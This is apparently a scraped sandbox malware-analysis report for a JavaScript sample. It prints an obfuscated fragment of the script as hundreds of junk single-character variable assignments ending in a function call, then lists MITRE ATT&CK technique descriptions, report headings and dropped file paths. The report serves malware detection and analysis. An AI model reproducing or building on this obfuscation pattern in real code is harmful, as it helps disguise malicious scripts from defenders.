845	salznhfkr = "D";
846	salznhfkr = "Q";
847	salznhfkr = "y";
848	salznhfkr = "v";
849	salznhfkr = "A";
850	salznhfkr = "q";
851	salznhfkr = "l";
852	salznhfkr = "p";
853	salznhfkr = "s";
854	salznhfkr = "S";
855	salznhfkr = "p";
856	salznhfkr = "Y";
857	salznhfkr = "v";
858	salznhfkr = "B";
859	salznhfkr = "f";
860	salznhfkr = "l";
861	salznhfkr = "v";
862	salznhfkr = "b";
863	qailkk = "Z";
864	qailkk = "J";
865	qailkk = "M";
866	qailkk = "y";
867	qailkk = "M";
868	qailkk = "B";
869	qailkk = "n";
870	qailkk = "x";
871	qailkk = "a";
872	qailkk = "z";
873	qailkk = "y";
874	qailkk = "c";
875	qailkk = "x";
876	qailkk = "h";
877	qailkk = "H";
878	qailkk = "n";
879	qailkk = "j";
880	qailkk = "D";
881	qailkk = "b";
882	qailkk = "u";
883	qailkk = "o";
884	qailkk = "x";
885	qailkk = "E";
886	qailkk = "Y";
887	qailkk = "w";
888	qailkk = "o";
889	qailkk = "d";
890	qailkk = "b";
891	qailkk = "V";
892	qailkk = "S";
893	qailkk = "D";
894	qailkk = "d";
895	qailkk = "w";
896	qailkk = "j";
897	qailkk = "J";
898	qailkk = "p";
899	qailkk = "f";
900	qailkk = "w";
901	qailkk = "N";
902	qailkk = "s";
903	tsjaa = "X";
904	tsjaa = "q";
905	tsjaa = "n";
906	tsjaa = "t";
907	tsjaa = "R";
908	tsjaa = "g";
909	tsjaa = "l";
910	tsjaa = "m";
911	tsjaa = "J";
912	tsjaa = "G";
913	tsjaa = "w";
914	tsjaa = "I";
915	tsjaa = "x";
916	tsjaa = "J";
917	tsjaa = "B";
918	tsjaa = "a";
919	tsjaa = "j";
920	tsjaa = "B";
921	tsjaa = "k";
922	tsjaa = "r";
923	tsjaa = "d";
924	tsjaa = "t";
925	tsjaa = "\\";
926	qmwinkx = "U";
927	qmwinkx = "w";
928	qmwinkx = "K";
929	qmwinkx = "G";
930	qmwinkx = "x";
931	qmwinkx = "Z";
932	qmwinkx = "F";
933	qmwinkx = "M";
934	qmwinkx = "3";
935	jkueyafg = "W";
936	jkueyafg = "P";
937	jkueyafg = "q";
938	jkueyafg = "Z";
939	jkueyafg = "C";
940	jkueyafg = "g";
941	jkueyafg = "q";
942	jkueyafg = "n";
943	jkueyafg = "X";
944	jkueyafg = "Y";
945	jkueyafg = "x";
946	jkueyafg = "B";
947	jkueyafg = "U";
948	jkueyafg = "l";
949	jkueyafg = "n";
950	jkueyafg = "Y";
951	jkueyafg = "k";
952	jkueyafg = "T";
953	jkueyafg = "v";
954	jkueyafg = "D";
955	jkueyafg = "d";
956	jkueyafg = "y";
957	jkueyafg = "F";
958	jkueyafg = "s";
959	jkueyafg = "h";
960	jkueyafg = "L";
961	jowaixsv = "U";
962	jowaixsv = "q";
963	jowaixsv = "d";
964	jowaixsv = "r";
965	jowaixsv = "w";
966	jowaixsv = "V";
967	jowaixsv = "U";
968	jowaixsv = "f";
969	jowaixsv = "V";
970	jowaixsv = "r";
971	jowaixsv = "m";
972	jowaixsv = "G";
973	jowaixsv = "h";
974	jowaixsv = "j";
975	jowaixsv = "V";
976	jowaixsv = "j";
977	jowaixsv = "S";
978	jowaixsv = "x";
979	jowaixsv = "t";
980	jowaixsv = "b";
981	jowaixsv = "S";
982	jowaixsv = "L";
983	jowaixsv = "t";
984	jowaixsv = "m";
985	jowaixsv = "j";
986	jowaixsv = "N";
987	jowaixsv = "u";
988	jowaixsv = "J";
989	jowaixsv = "T";
990	jowaixsv = "a";
991	jowaixsv = "D";
992	jowaixsv = "o";
993	jowaixsv = "t";
994	jowaixsv = "j";
995	jowaixsv = "x";
996	jowaixsv = "Z";
997	jowaixsv = "d";
998	jowaixsv = "I";
999	jowaixsv = "M";
1000	jowaixsv = "d";
1001	hdbrbig = "w";
1002	hdbrbig = "Y";
1003	hdbrbig = "f";
1004	hdbrbig = "W";
1005	hdbrbig = "W";
1006	hdbrbig = "Y";
1007	hdbrbig = "X";
1008	hdbrbig = "Z";
1009	hdbrbig = "Z";
1010	hdbrbig = "m";
1011	hdbrbig = "P";
1012	hdbrbig = "O";
1013	hdbrbig = "r";
1014	hdbrbig = "a";
1015	hdbrbig = "G";
1016	hdbrbig = "c";
1017	hdbrbig = "N";
1018	hdbrbig = "n";
1019	hdbrbig = "J";
1020	hdbrbig = "a";
1021	hdbrbig = "f";
1022	hdbrbig = "C";
1023	hdbrbig = "F";
1024	hdbrbig = "I";
1025	hdbrbig = "e";
1026	hdbrbig = "x";
1027	hdbrbig = "y";
1028	hdbrbig = "0";
1029	udfqd = "j";
1030	udfqd = "I";
1031	udfqd = "H";
1032	udfqd = "Z";
1033	udfqd = "B";
1034	udfqd = "L";
1035	udfqd = "o";
1036	udfqd = "E";
1037	udfqd = "a";
1038	udfqd = "q";
1039	udfqd = "H";
1040	udfqd = "s";
1041	udfqd = "b";
1042	udfqd = "H";
1043	udfqd = "J";
1044	udfqd = "u";
1045	udfqd = "h";
1046	udfqd = "I";
1047	udfqd = "N";
1048	udfqd = "W";
1049	udfqd = "M";
1050	udfqd = "z";
1051	udfqd = "l";
1052	udfqd = "R";
1053	udfqd = "x";
1054	udfqd = "C";
1055	udfqd = "E";
1056	udfqd = "g";
1057	udfqd = "c";
1058	udfqd = "x";
1059	udfqd = "I";
1060	udfqd = "u";
1061	udfqd = "k";
1062	udfqd = "A";
1063	udfqd = "C";
1064	udfqd = "q";
1065	udfqd = "J";
1066	udfqd = "O";
1067	udfqd = "s";
1068	udfqd = "h";
1069	udfqd = "L";
1070	udfqd = "p";
1071	eozsvr = "V";
1072	eozsvr = "K";
1073	eozsvr = "Y";
1074	eozsvr = "l";
1075	eozsvr = "p";
1076	eozsvr = "f";
1077	eozsvr = "v";
1078	eozsvr = "h";
1079	eozsvr = "S";
1080	eozsvr = "T";
1081	eozsvr = "g";
1082	eozsvr = "p";
1083	eozsvr = "Z";
1084	eozsvr = "Z";
1085	eozsvr = "g";
1086	eozsvr = "d";
1087	eozsvr = "T";
1088	eozsvr = "y";
1089	eozsvr = "e";
1090	eozsvr = "S";
1091	eozsvr = "b";
1092	eozsvr = ".";
1093	djaarxn = "g";
1094	djaarxn = "a";
1095	djaarxn = "U";
1096	djaarxn = "k";
1097	djaarxn = "R";
1098	djaarxn = "G";
1099	djaarxn = "u";
1100	djaarxn = "S";
1101	djaarxn = "R";
1102	djaarxn = "r";
1103	djaarxn = "a";
1104	djaarxn = "W";
1105	djaarxn = "K";
1106	djaarxn = "Z";
1107	djaarxn = "C";
1108	djaarxn = "d";
1109	djaarxn = "h";
1110	djaarxn = "u";
1111	djaarxn = "o";
1112	djaarxn = "L";
1113	djaarxn = "v";
1114	djaarxn = "S";
1115	djaarxn = "I";
1116	djaarxn = "V";
1117	djaarxn = "I";
1118	djaarxn = "b";
1119	djaarxn = "z";
1120	djaarxn = "Q";
1121	djaarxn = "m";
1122	djaarxn = "D";
1123	djaarxn = "B";
1124	djaarxn = "W";
1125	djaarxn = "a";
1126	djaarxn = "z";
1127	djaarxn = "A";
1128	djaarxn = "E";
1129	djaarxn = "q";
1130	djaarxn = "E";
1131	djaarxn = "S";
1132	djaarxn = "y";
1133	djaarxn = "j";
1134	djaarxn = "r";
1135	djaarxn = "e";
1136	djaarxn = "S";
1137	yreok = "V";
1138	yreok = "W";
1139	yreok = "A";
1140	yreok = "I";
1141	yreok = "P";
1142	yreok = "N";
1143	yreok = "q";
1144	yreok = "N";
1145	yreok = "F";
1146	yreok = "H";
1147	yreok = "s";
1148	yreok = "e";
1149	yreok = "s";
1150	yreok = "Z";
1151	yreok = "P";
1152	yreok = "a";
1153	yreok = "p";
1154	yreok = "S";
1155	yreok = "Y";
1156	yreok = "B";
1157	yreok = "h";
1158	yreok = "H";
1159	yreok = "z";
1160	yreok = "I";
1161	yreok = "4";
1162	uzjxckbhd = "w";
1163	uzjxckbhd = "i";
1164	uzjxckbhd = "F";
1165	uzjxckbhd = "z";
1166	uzjxckbhd = "C";
1167	uzjxckbhd = "H";
1168	uzjxckbhd = "A";
1169	uzjxckbhd = "V";
1170	uzjxckbhd = "J";
1171	uzjxckbhd = "r";
1172	uzjxckbhd = "x";
1173	uzjxckbhd = "p";
1174	uzjxckbhd = "N";
1175	uzjxckbhd = "f";
1176	uzjxckbhd = "B";
1177	uzjxckbhd = "x";
1178	uzjxckbhd = "I";
1179	uzjxckbhd = "P";
1180	uzjxckbhd = "d";
1181	uzjxckbhd = "U";
1182	uzjxckbhd = "B";
1183	uzjxckbhd = "H";
1184	uzjxckbhd = "H";
1185	uzjxckbhd = "Q";
1186	uzjxckbhd = "w";
1187	uzjxckbhd = " ";
1188	dlpqn = "u";
1189	dlpqn = "K";
1190	dlpqn = "X";
1191	dlpqn = "l";
1192	dlpqn = "z";
1193	dlpqn = "Q";
1194	dlpqn = "s";
1195	dlpqn = "d";
1196	dlpqn = "y";
1197	dlpqn = "d";
1198	dlpqn = "t";
1199	dlpqn = "k";
1200	dlpqn = "O";
1201	dlpqn = "v";
1202	dlpqn = "d";
1203	dlpqn = "j";
1204	dlpqn = "t";
1205	dlpqn = "x";
1206	dlpqn = "r";
1207	dlpqn = "Q";
1208	dlpqn = "Z";
1209	dlpqn = "O";
1210	dlpqn = "A";
1211	dlpqn = "E";
1212	dlpqn = "N";
1213	dlpqn = "m";
1214	dlpqn = "r";
1215	dlpqn = "I";
1216	dlpqn = "w";
1217	dlpqn = "u";
1218	azmghzsn = "e";
1219	azmghzsn = "F";
1220	hxencgiy = "o";
1221	hxencgiy = "z";
1222	hxencgiy = "E";
1223	hxencgiy = "r";
1224	hxencgiy = "N";
1225	hxencgiy = "Y";
1226	hxencgiy = "J";
1227	hxencgiy = "B";
1228	hxencgiy = "r";
1229	hxencgiy = "Z";
1230	hxencgiy = "z";
1231	hxencgiy = "R";
1232	hxencgiy = "X";
1233	hxencgiy = "a";
1234	hxencgiy = "e";
1235	hxencgiy = "R";
1236	hxencgiy = "k";
1237	hxencgiy = "O";
1238	hxencgiy = "b";
1239	hxencgiy = "R";
1240	hxencgiy = "p";
1241	hxencgiy = "d";
1242	hxencgiy = "x";
1243	hxencgiy = "6";
1244	mjnwujlcm = "B";
1245	mjnwujlcm = "A";
1246	mjnwujlcm = "P";
1247	mjnwujlcm = "t";
1248	mjnwujlcm = "W";
1249	mjnwujlcm = "C";
1250	mjnwujlcm = "y";
1251	mjnwujlcm = "f";
1252	mjnwujlcm = "V";
1253	mjnwujlcm = "a";
1254	mjnwujlcm = "s";
1255	mjnwujlcm = "K";
1256	mjnwujlcm = "V";
1257	mjnwujlcm = "%";
1258	uiwoidr = "i";
1259	uiwoidr = "u";
1260	uiwoidr = "G";
1261	uiwoidr = "O";
1262	uiwoidr = "p";
1263	uiwoidr = "v";
1264	uiwoidr = "X";
1265	uiwoidr = "C";
1266	uiwoidr = "R";
1267	uiwoidr = "_";
1268	sxadponsb = "Q";
1269	sxadponsb = "h";
1270	sxadponsb = "V";
1271	sxadponsb = "i";
1272	sxadponsb = "j";
1273	sxadponsb = "p";
1274	sxadponsb = "P";
1275	sxadponsb = "r";
1276	sxadponsb = "N";
1277	sxadponsb = "f";
1278	sxadponsb = "K";
1279	sxadponsb = "A";
1280	sxadponsb = "d";
1281	sxadponsb = "i";
1282	sxadponsb = "E";
1283	sxadponsb = "a";
1284	sxadponsb = "U";
1285	sxadponsb = "k";
1286	sxadponsb = "P";
1287	sxadponsb = "X";
1288	sxadponsb = "r";
1289	sxadponsb = "q";
1290	sxadponsb = "D";
1291	sxadponsb = "Z";
1292	sxadponsb = "N";
1293	sxadponsb = "Q";
1294	sxadponsb = "H";
1295	sxadponsb = "P";
1296	sxadponsb = "n";
1297	sxadponsb = "B";
1298	sxadponsb = "s";
1299	sxadponsb = "t";
1300	sxadponsb = "k";
1301	sxadponsb = "r";
1302	sxadponsb = "H";
1303	umdmfe = "e";
1304	umdmfe = "m";
1305	umdmfe = "V";
1306	umdmfe = "y";
1307	umdmfe = "U";
1308	umdmfe = "F";
1309	umdmfe = "j";
1310	umdmfe = "F";
1311	umdmfe = "K";
1312	umdmfe = "M";
1313	umdmfe = "U";
1314	umdmfe = "u";
1315	umdmfe = "l";
1316	umdmfe = "f";
1317	umdmfe = "l";
1318	umdmfe = "x";
1319	umdmfe = "Z";
1320	umdmfe = "k";
1321	umdmfe = "g";
1322	umdmfe = "S";
1323	umdmfe = "e";
1324	umdmfe = "u";
1325	umdmfe = "M";
1326	umdmfe = "q";
1327	umdmfe = "L";
1328	umdmfe = "K";
1329	umdmfe = "Z";
1330	umdmfe = "R";
1331	umdmfe = "d";
1332	umdmfe = "s";
1333	umdmfe = "J";
1334	umdmfe = "r";
1335	umdmfe = "I";
1336	umdmfe = "d";
1337	umdmfe = "i";
1338	umdmfe = "j";
1339	umdmfe = "n";
1340	umdmfe = "y";
1341	umdmfe = "B";
1342	umdmfe = "G";
1343	umdmfe = "B";
1344	umdmfe = "t";
1345	umdmfe = "u";
1346	umdmfe = "G";
1347	umdmfe = "E";
1348	htday = "f";
1349	htday = "M";
1350	htday = "t";
1351	htday = "K";
1352	htday = "w";
1353	htday = "L";
1354	htday = "W";
1355	htday = "B";
1356	htday = "U";
1357	htday = "r";
1358	htday = "a";
1359	htday = "F";
1360	htday = "n";
1361	htday = "P";
1362	htday = "o";
1363	htday = "u";
1364	htday = "s";
1365	htday = "i";
1366	htday = "z";
1367	htday = "A";
1368	htday = "K";
1369	htday = "M";
1370	htday = "Y";
1371	htday = "h";
1372	htday = "t";
1373	htday = "r";
1374	htday = "E";
1375	htday = "s";
1376	htday = "K";
1377	htday = "t";
1378	htday = "t";
1379	htday = "/";
1380	hknsysf = "p";
1381	hknsysf = "B";
1382	hknsysf = "F";
1383	hknsysf = "R";
1384	hknsysf = "u";
1385	hknsysf = "e";
1386	hknsysf = "C";
1387	hknsysf = "O";
1388	hknsysf = "R";
1389	hknsysf = "s";
1390	hknsysf = "s";
1391	hknsysf = "H";
1392	hknsysf = "X";
1393	hknsysf = "A";
1394	hknsysf = "C";
1395	hknsysf = "L";
1396	hknsysf = "t";
1397	hknsysf = "8";
1398	ordmg = "V";
1399	ordmg = "s";
1400	ordmg = "j";
1401	ordmg = "w";
1402	ordmg = "r";
1403	ordmg = "o";
1404	ordmg = "g";
1405	ordmg = "G";
1406	ordmg = "x";
1407	ordmg = "L";
1408	ordmg = "F";
1409	ordmg = "r";
1410	ordmg = "w";
1411	rzydw = "r";
1412	rzydw = "c";
1413	rzydw = "T";
1414	rzydw = "u";
1415	rzydw = "U";
1416	rzydw = "L";
1417	rzydw = "z";
1418	rzydw = "R";
1419	rzydw = "2";
1420	xwjgkmrtz = "L";
1421	xwjgkmrtz = "B";
1422	xwjgkmrtz = "l";
1423	xwjgkmrtz = "m";
1424	xwjgkmrtz = "Y";
1425	xwjgkmrtz = "Q";
1426	xwjgkmrtz = "x";
1427	xwjgkmrtz = "D";
1428	xwjgkmrtz = "Q";
1429	xwjgkmrtz = "R";
1430	xwjgkmrtz = "l";
1431	xwjgkmrtz = "M";
1432	xwjgkmrtz = "K";
1433	xwjgkmrtz = "I";
1434	xwjgkmrtz = "H";
1435	xwjgkmrtz = "x";
1436	xwjgkmrtz = "W";
1437	xwjgkmrtz = "I";
1438	nnbzdx ( );	nnbzdx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 179861427815317256.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF6a6acc.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ed604902-df4f-4624-a097-bff938fd9c78.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ef6f44e0-64bd-4237-9a9c-d9e203e68192.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
179861427815317256.js